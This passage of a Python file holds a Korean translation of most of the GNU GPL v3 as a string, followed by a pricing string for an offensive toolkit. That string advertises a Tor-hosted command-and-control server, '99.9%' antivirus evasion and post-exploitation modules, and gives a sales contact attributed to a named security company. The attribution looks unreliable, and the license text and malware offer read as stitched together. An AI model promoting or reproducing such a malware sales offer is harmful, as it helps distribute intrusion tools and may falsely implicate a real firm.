c) 해당 자료의 출처에 대한 허위 표시를 금지하거나, 해당 자료의 수정된 버전이 원본 버전과 다르다는 것을 합리적인 방식으로 표시하도록 요구하거나;
d) 자료의 사용 허가자 또는 저자의 이름을 홍보 목적으로 사용하는 것을 제한하거나;
e) 일부 상호, 상표 또는 서비스 마크의 사용에 대한 상표법상 권리 부여를 거부하거나;
f) 수령자에 대한 계약상 책임 가정과 함께 자료(또는 수정된 버전)를 전달하는 모든 사람이 해당 자료의 사용 허가자와 저자에게 이러한 계약상 책임 가정이 해당 사용 허가자와 저자에게 직접 부과하는 모든 책임에 대해 배상하도록 요구합니다.
기타 모든 비허용 추가 조건은 제10조의 의미 내에서 "추가 제한"으로 간주됩니다. 귀하가 수신한 프로그램 또는 그 일부가 추가 제한인 조건과 함께 본 라이선스의 적용을 받는다는 고지를 포함하는 경우, 해당 조건을 제거할 수 있습니다. 라이선스 문서에 추가 제한이 포함되어 있지만 본 라이선스에 따른 재라이선싱 또는 전달을 허용하는 경우, 추가 제한이 그러한 재라이선싱 또는 전달 후에도 존속하지 않는 조건으로 해당 라이선스 문서의 조건이 적용되는 자료를 보호 대상 저작물에 추가할 수 있습니다.
귀하가 이 조항에 따라 보호 대상 저작물에 조건을 추가하는 경우, 관련 소스 파일에 해당 파일에 적용되는 추가 조건에 대한 설명 또는 적용 가능한 조건을 찾을 수 있는 위치를 나타내는 고지를 배치해야 합니다.
허용 또는 비허용 추가 조건은 별도로 작성된 라이선스 형태로 명시되거나 예외로 명시될 수 있습니다. 위의 요구 사항은 어느 경우든 적용됩니다.
귀하는 본 라이선스에 명시적으로 제공된 경우를 제외하고 보호 대상 저작물을 전파하거나 수정할 수 없습니다. 그 외의 전파 또는 수정 시도는 무효이며, 본 라이선스에 따른 귀하의 권리(제11조 제3항에 따라 부여된 특허 라이선스 포함)를 자동으로 종료합니다.
그러나 귀하가 본 라이선스의 모든 위반을 중단하면, 특정 저작권 보유자로부터의 귀하의 라이선스는 (a) 저작권 보유자가 명시적이고 최종적으로 귀하의 라이선스를 종료하지 않는 한 잠정적으로, 그리고 (b) 저작권 보유자가 중단 후 60일 이내에 합리적인 수단으로 위반을 통지하지 못한 경우 영구적으로 복구됩니다.
또한, 저작권 보유자가 합리적인 수단으로 위반을 통지하고, 해당 저작권 보유자로부터 본 라이선스 위반(모든 저작물에 대해) 통지를 처음 받은 경우이며, 통지 수령 후 30일 이내에 위반을 시정하면 특정 저작권 보유자로부터의 귀하의 라이선스가 영구적으로 복구됩니다.이 섹션에 따른 귀하의 권리 종료는 본 라이선스에 따라 귀하로부터 사본이나 권리를 받은 당사자들의 라이선스를 종료하지 않습니다. 귀하의 권리가 종료되었고 영구적으로 회복되지 않은 경우, 귀하는 제10조에 따라 동일한 자료에 대한 새로운 라이선스를 받을 자격이 없습니다.
프로그램의 사본을 받거나 실행하기 위해 본 라이선스를 수락할 필요는 없습니다. 피어투피어 전송을 사용하여 사본을 받는 것만으로 발생하는 커버드 워크의 부수적 전파 역시 수락을 요구하지 않습니다. 그러나 본 라이선스 외에는 어떤 것도 커버드 워크를 전파하거나 수정할 권한을 귀하에게 부여하지 않습니다. 본 라이선스를 수락하지 않으면 이러한 행위는 저작권을 침해합니다. 따라서 커버드 워크를 수정하거나 전파함으로써 귀하는 이를 수행할 본 라이선스를 수락함을 표시하는 것입니다.
귀하가 커버드 워크를 전달할 때마다 수령자는 본 라이선스에 따라 해당 워크를 실행, 수정 및 전파할 수 있는 라이선스를 원래 라이선스 제공자로부터 자동으로 받습니다. 귀하는 제3자가 본 라이선스를 준수하도록 강제할 책임이 없습니다.
"엔티티 거래"란 조직의 통제권, 또는 조직의 실질적으로 모든 자산을 이전하거나, 조직을 분할하거나, 조직을 합병하는 거래를 말합니다. 커버드 워크의 전파가 엔티티 거래로 인해 발생하는 경우, 해당 거래의 각 당사자가 워크의 사본을 받으면 이전 단락에 따라 해당 당사자의 전임자가 보유했거나 부여할 수 있었던 워크에 대한 모든 라이선스와 함께, 전임자가 보유하거나 합리적인 노력으로 얻을 수 있는 경우 해당 워크의 대응 소스에 대한 소유권을 받습니다.
귀하는 본 라이선스에 따라 부여되거나 확인된 권리 행사에 추가 제한을 부과할 수 없습니다. 예를 들어, 본 라이선스에 따라 부여된 권리 행사에 대해 라이선스 비용, 로열티 또는 기타 요금을 부과하거나, 귀하가 전달하는 프로그램 코드에 대한 특허 침해 주장에 대해 누군가가 귀하를 면책하도록 강요할 수 없습니다.
"기여자"는 본 라이선스에 따라 프로그램 또는 프로그램이 기반이 되는 워크의 사용을 승인하는 저작권 보유자입니다. 이렇게 라이선스된 워크를 기여자의 "기여자 버전"이라고 합니다.
기여자의 "필수 특허 청구항"은 기여자가 소유하거나 통제하는 모든 특허 청구항으로, 이미 취득했거나 이후에 취득한 것을 포함하며, 본 라이선스가 허용하는 방식으로 기여자 버전을 제작, 사용 또는 판매함으로써 침해될 수 있는 청구항을 말합니다. 단, 기여자 버전의 추가 수정 결과로만 침해되는 청구항은 포함되지 않습니다. 이 정의의 목적상 "통제"는 본 라이선스의 요구 사항과 일치하는 방식으로 특허 하위 라이선스를 부여할 권리를 포함합니다.
각 기여자는 기여자의 필수 특허 청구항에 따라 비독점적, 전 세계적, 로열티 없는 특허 라이선스를 귀하에게 부여하여 기여자 버전의 내용을 제작, 사용, 판매, 판매 제안, 수입 및 기타 방식으로 실행, 수정 및 전파할 수 있도록 합니다.
다음 세 단락에서 "특허 라이선스"는 특허를 집행하지 않기로 한 명시적 합의 또는 약속(특허를 집행하지 않겠다는 명시적 보증 또는 특허 침해로 소송하지 않겠다는 약속 등)을 말하며, 명칭과 관계없습니다. 당사자에게 그러한 특허 라이선스를 "부여"한다는 것은 해당 당사자에 대해 특허를 집행하지 않기로 하는 합의 또는 약속을 하는 것을 의미합니다.
귀하가 특허 라이선스에 의존한다는 것을 알면서 커버드 워크를 전달하고, 해당 워크의 대응 소스가 공개적으로 이용 가능한 네트워크 서버 또는 기타 쉽게 접근할 수 있는 수단을 통해 본 라이선스 조건에 따라 무료로 누구나 복사할 수 있지 않은 경우, 귀하는 (1) 대응 소스를 그러한 방식으로 이용 가능하게 하거나, (2) 이 특정 워크에 대한 특허 라이선스의 혜택을 스스로 포기하도록 조치하거나, (3) 본 라이선스의 요구 사항과 일치하는 방식으로 특허 라이선스를 하위 수령자에게 확장하도록 조치해야 합니다. "의존한다는 것을 알면서"란 특허 라이선스가 없었다면 귀하가 특정 국가에서 커버드 워크를 전달하거나 수령자가 해당 국가에서 커버드 워크를 사용하는 것이 귀하가 유효하다고 믿을 이유가 있는 해당 국가의 하나 이상의 식별 가능한 특허를 침해했을 것이라는 실제 지식을 보유하고 있음을 의미합니다.
단일 거래 또는 약정에 따라 또는 이와 관련하여 귀하가 커버드 워크를 전달하거나 전달을 조달하여 전파하고, 커버드 워크를 받는 일부 당사자에게 해당 워크의 특정 사본을 사용, 전파, 수정 또는 전달할 수 있도록 승인하는 특허 라이선스를 부여하는 경우, 귀하가 부여한 특허 라이선스는 자동으로 해당 워크 및 이를 기반으로 한 워크의 모든 수령자에게 확장됩니다.
특허 라이선스가 그 적용 범위 내에 본 라이선스에 따라 구체적으로 부여된 하나 이상의 권리의 행사를 포함하지 않거나, 행사를 금지하거나, 행사하지 않음을 조건으로 하는 경우 해당 특허 라이선스는 "차별적"입니다. 귀하는 소프트웨어 배포 사업을 하는 제3자와의 약정에 따라, 귀하가 워크 전달 활동의 정도에 따라 제3자에게 지불하고, 제3자가 귀하로부터 커버드 워크를 받을 당사자에게 차별적 특허 라이선스((a) 귀하가 전달한 커버드 워크의 사본 또는 그 사본에서 만든 사본과 관련하여, 또는 (b) 주로 커버드 워크를 포함하는 특정 제품 또는 컴파일과 관련하여)를 부여하는 약정의 당사자인 경우 커버드 워크를 전달할 수 없습니다. 단, 귀하가 해당 약정을 체결했거나 해당 특허 라이선스가 2007년 3월 28일 이전에 부여된 경우는 예외입니다.
본 라이선스의 어떤 조항도 적용 가능한 특허법에 따라 귀하가 이용할 수 있는 묵시적 라이선스 또는 기타 침해 방어 수단을 배제하거나 제한하는 것으로 해석되어서는 안 됩니다.
본 라이선스의 조건과 모순되는 조건(법원 명령, 합의 또는 기타 방식으로)이 귀하에게 부과되는 경우, 그러한 조건은 본 라이선스의 조건을 면제하지 않습니다. 귀하가 본 라이선스에 따른 의무와 기타 관련 의무를 동시에 충족하도록 커버드 워크를 전달할 수 없는 경우, 결과적으로 귀하는 전혀 전달할 수 없습니다. 예를 들어, 귀하가 프로그램을 전달받는 사람들로부터 추가 전달에 대한 로열티를 징수하도록 의무화하는 조건에 동의하는 경우, 해당 조건과 본 라이선스를 모두 충족할 수 있는 유일한 방법은 프로그램 전달을 완전히 중단하는 것입니다.
본 라이선스의 다른 조항에도 불구하고, 귀하는 커버드 워크를 GNU Affero General Public License 버전 3에 따라 라이선스된 워크와 연결하거나 결합하여 단일 결합 워크로 만들고 결과 워크를 전달할 수 있는 권한이 있습니다. 본 라이선스의 조건은 커버드 워크인 부분에 계속 적용되지만, 네트워크를 통한 상호 작용에 관한 GNU Affero General Public License 제13조의 특별 요구 사항은 결합물 전체에 적용됩니다.
자유 소프트웨어 재단은 때때로 GNU General Public License의 개정 및/또는 새 버전을 발행할 수 있습니다. 이러한 새 버전은 현재 버전과 정신적으로 유사하지만 새로운 문제나 우려를 해결하기 위해 세부 사항이 다를 수 있습니다.
각 버전에는 구별되는 버전 번호가 부여됩니다. 프로그램이 GNU General Public License의 특정 번호 버전 "또는 이후 버전"이 적용된다고 명시하는 경우, 귀하는 해당 번호 버전 또는 자유 소프트웨어 재단이 발행한 이후 버전의 조건을 따를 수 있는 옵션이 있습니다. 프로그램이 GNU General Public License의 버전 번호를 명시하지 않는 경우, 귀하는 자유 소프트웨어 재단이 발행한 모든 버전을 선택할 수 있습니다.
프로그램이 대리인이 향후 GNU General Public License 버전을 결정할 수 있다고 명시하는 경우, 해당 대리인의 버전 수락에 대한 공개 성명은 귀하가 프로그램에 대해 해당 버전을 선택할 수 있도록 영구적으로 승인합니다.
이후 라이선스 버전은 귀하에게 추가 또는 다른 권한을 부여할 수 있습니다. 그러나 귀하가 이후 버전을 따르기로 선택함으로써 저자나 저작권 보유자에게 추가 의무가 부과되지는 않습니다.
적용 가능한 법률이 허용하는 범위 내에서 프로그램에 대한 보증은 없습니다. 서면으로 달리 명시되지 않는 한 저작권 보유자 및/또는 기타 당사자는 프로그램을 명시적 또는 묵시적 보증 없이 "있는 그대로" 제공하며, 여기에는 상품성 및 특정 목적에의 적합성에 대한 묵시적 보증이 포함되지만 이에 국한되지 않습니다. 프로그램의 품질 및 성능에 대한 모든 위험은 귀하에게 있습니다. 프로그램에 결함이 있는 것으로 판명되면 귀하가 필요한 모든 서비스, 수리 또는 교정 비용을 부담합니다.
적용 가능한 법률이 요구하거나 서면으로 합의하지 않는 한, 저작권 보유자 또는 위에서 허용된 대로 프로그램을 수정 및/또는 전달하는 다른 당사자는 프로그램 사용 또는 사용 불능으로 인해 발생하는 손해(일반, 특별, 부수적 또는 결과적 손해 포함, 데이터 손실 또는 데이터 부정확 또는 귀하 또는 제3자가 입은 손실 또는 프로그램이 다른 프로그램과 함께 작동하지 못한 실패 포함)에 대해 귀하에게 책임을 지지 않습니다. 해당 보유자 또는 다른 당사자가 그러한 손해의 가능성을 통보받았더라도 마찬가지입니다.
위에 제공된 보증 부인 및 책임 제한이 그 조건에 따라 현지 법적 효력을 가질 수 없는 경우, 검토 법원은 프로그램과 관련된 모든 민사 책임의 절대적 포기에 가장 근접하게 근사하는 현지 법률을 적용해야 합니다. 단, 프로그램 사본에 보증 또는 책임 인수가 수수료를 대가로 수반되는 경우는 예외입니다.
조건 및 약관 종료
새 프로그램에 이러한 조건을 적용하는 방법
새 프로그램을 개발하고 공공에 최대한 유용하게 만들고 싶다면, 이를 달성하는 가장 좋은 방법은 모든 사람이 이 조건에 따라 재배포하고 변경할 수 있는 자유 소프트웨어로 만드는 것입니다.
이를 위해 프로그램에 다음 고지를 첨부하십시오. 보증 배제를 가장 효과적으로 명시하려면 각 소스 파일의 시작 부분에 첨부하는 것이 가장 안전하며, 각 파일에는 최소한 "저작권" 줄과 전체 고지가 있는 위치에 대한 포인터가 있어야 합니다.
<프로그램 이름과 기능에 대한 한 줄 설명.>
Copyright (C) <연도> <저자 이름>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
또한 전자 메일과 종이 우편으로 연락하는 방법에 대한 정보를 추가하십시오.
프로그램이 터미널 상호 작용을 하는 경우, 대화형 모드로 시작할 때 다음과 같은 짧은 고지를 출력하도록 하십시오:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
가상의 명령 show w' 및 show c'는 General Public License의 해당 부분을 표시해야 합니다. 물론 프로그램의 명령은 다를 수 있습니다. GUI 인터페이스의 경우 "정보 상자"를 사용할 것입니다.
또한 가능하면 고용주(프로그래머로 일하는 경우) 또는 학교에 프로그램에 대한 "저작권 면책 확인서"에 서명하도록 해야 합니다. 이에 대한 자세한 내용과 GNU GPL 적용 및 준수 방법은 https://www.gnu.org/licenses/를 참조하십시오.
GNU General Public License는 프로그램을 독점 프로그램에 통합하는 것을 허용하지 않습니다. 프로그램이 서브루틴 라이브러리인 경우 독점 응용 프로그램이 라이브러리와 연결되도록 허용하는 것이 더 유용하다고 생각할 수 있습니다. 이렇게 하려면 본 라이선스 대신 GNU Lesser General Public License를 사용하십시오. 그러나 먼저 https://www.gnu.org/licenses/why-not-lgpl.html을 읽어 주십시오. """
PRICING_350K = """ 🔴 TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 ════════════════════════════════════════════
📋 라이선스에 포함된 항목:
• 전체 소스 프레임워크 (21개 파일)
• Docker C2 프로덕션 (Tor/Supervisor)
• EpSiLoNPoInTFuCK v5.1 (99.9% AV 우회)
• 내장된 사후 침투 EpSiLoN v7
• 데모 비디오 + DVWA 랩 설정
• 5000줄 이상의 기술 문서
• 6개월 위협 인텔리전스 지원
📞 판매 문의:
+33 1 46 53 53 53 (Orange Cyberdefense Paris)
[email protected]
print(f"""{PRICING_350K} {LEGAL_DISCLAIMER} {LICENSE_GPL} {PACKAGE_CMD}""")